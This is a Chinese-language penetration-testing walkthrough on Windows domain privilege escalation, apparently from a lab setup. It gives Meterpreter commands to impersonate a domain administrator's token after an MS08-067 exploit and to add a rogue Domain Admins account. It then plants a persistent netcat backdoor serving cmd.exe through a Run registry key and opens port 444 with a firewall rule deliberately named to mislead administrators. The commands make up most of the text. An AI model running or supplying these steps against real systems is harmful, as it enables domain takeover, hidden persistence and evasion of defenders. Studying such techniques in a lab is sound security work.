Token(令牌),域环境中提权
用户每次登录时,账号绑定临时的token;
访问资源时提交token进行身份验证,类似于web cookie。
Delegate Token:交互会话登录,(例如直接登录、远程桌面登录)
Impersonate Token:非交互登录,(例如访问文件共享)
注意:在域环境中,Delegate Token账号注销后变成Impersonate Token,权限依然有效。所以攻击者一旦获取域管理员的token后,危害极大!
实例:server 2003是域控制器,XP加入到域。
首先使用ms08-067漏洞,获得XP的system权限;
然后在域控制器上访问XP的文件共享(\\192.168.80.44\c$),建立一个administrator用户的Impersonate Token;
meterpreter > load incognito
meterpreter > list_tokens -u
meterpreter > impersonate_token LAB\\Administrator 将自己伪装成LAB Administrator用户 (注意命令中是两个\)
meterpreter > getuid 发现自己现在是域管理员
Server username: LAB\Administrator
meterpreter > execute -f cmd.exe -i -t 获得交互shell,-t(使用当前假冒的token执行程序)
C:\WINDOWS\system32>ipconfig /all 查看XP的DNS服务器,即域控制器的ip地址
meterpreter > add_user coleradmin Coleradmin1! -h 192.168.80.11 添加用户
meterpreter > add_group_user "Domain Admins" coleradmin -h 192.168.80.11 给予域管理员权限
编辑注册表
注册表的渗透测试中的常见用途:修改、添加启动项;窃取存储在注册表中的机密信息;绕过文件型病毒查杀。
实例:编辑注册表,添加nc到系统启动项中,形成后门程序。
meterpreter > upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 将nc.exe上传到目标主机
meterpreter > reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run 枚举注册表的键值
meterpreter > reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'C:\windows\system32\nc.exe -Ldp 444 -e cmd.exe' 在当前主键下增加一个nc键值
meterpreter > reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v nc 查看nc键值
在重启之前,首先要设置防火墙允许444端口通过。
meterpreter > execute -f cmd -i -H 最好加上-H参数,不然在目标主机上会弹出cmd窗口
C:\Windows\System32> netsh firewall show opmode 查看防火墙的状态
C:\Windows\System32>netsh firewall add portopening TCP 444 "网络发现(Pub PSD-Out)" ENABLE ALL 添加防火墙的规则允许444端口通过(这里“网络发现(Pub PSD-Out)”是规则名称,这样写是为了迷惑管理员。)
目标主机重启后,在Kali上使用nc连接它,获得shell。
root@kali:~# nc 192.168.80.33 444